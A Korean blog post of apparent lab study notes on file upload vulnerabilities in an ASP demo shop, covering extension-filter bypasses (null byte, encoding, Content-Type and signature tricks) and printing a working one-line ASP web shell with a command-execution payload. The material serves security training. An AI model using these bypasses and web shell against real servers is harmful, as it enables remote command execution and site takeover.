파일 업로드 취약점
거의 웹쉘을 업로드하는게 목표임.
실습 페이지는 .asp로 작성되어 있다.
active server page
[실습] webshell.asp를 게시판에 업로드
업로드 하려니까 첨부파일 확장자필터링이 걸려있다.
jpg, hwp, pdf, jpeg, txt 만 가능하다고 함.
파일업로드 확장자 우회 방법에 대해서 알아보자.
ⓐ 종단 문자 우회
파일명.asp%00.jpg
%00은 null byte. 문자열의 끝을 의미
파일명.asp로 업로드된다.
ⓑ html encoding 통한 우회
파일명.as%112
%112 = html encoding 으로 p를 의미
ⓒ burpsuite로 Content-type 을 수정해서 포워딩
ⓓ 시그니처 수정
확장자가 아니라 파일 시그니처로 확인하는 경우 시작부 또는 마지막에 시그니처를 추가해준다. (파일시그니처 or 푸티시그니처)
게시글을 무사히 업로드했다면, 이제 burpsuite를 통해 다운로드 동작을 잡아준다.
게시글은 shop_board_list.asp 를 통해 보여지는데, 막상 burpsuite로 보면 페이지가 다른 것을 확인할 수 있다.
shop_download.asp 페이지에 인자들을 전달하여 파일을 다운로드한다.
f_path 파라미터를 보면 upload_file을 전달하는 것을 확인가능.
이 의미는 shop_download.asp 파일이 존재하는 디렉토리에 upload_file이라는 디렉토리가 존재하고, 해당 경로에 업로드한 파일이 저장됨.
거기서 다운을 받는 것이다.
그럼 webshell.asp를 확인하려면 어느 페이지로 이동해야 할까?
바로 demoshop/shop_board/upload_file/webshell.asp
MS IIS 사용중인 것을 알 수 있다.
그럼 윈도우 명령어를 사용해야 함.
GET방식 asp 한줄 웹쉘
<% eval request("cmd") %>
GET방식 전달 (cmd에 전달하는 값)
response.write(Server.CreateObject("WSCRIPT.SHELL").exec("cmd.exe > /c ipconfig").stdout.readall)
POST 방식으로 보내려면,
GET 방식에서 사용했던 웹쉘 그대로 쓰되, python requests 모듈을 통해 post로 전달한다.
'보안 > 웹·모바일' 카테고리의 다른 글
SSRF(Server-Side Request forgery) (0) | 2022.07.15 |
---|---|
파일 다운로드 공격 실습 (0) | 2022.07.15 |
XSS (Cross Site Script) 실습 (0) | 2022.07.15 |
Blind SQL Injection 실습 (0) | 2022.07.15 |
특수문자 필터링, 정규표현식 for JavaScript (0) | 2022.07.15 |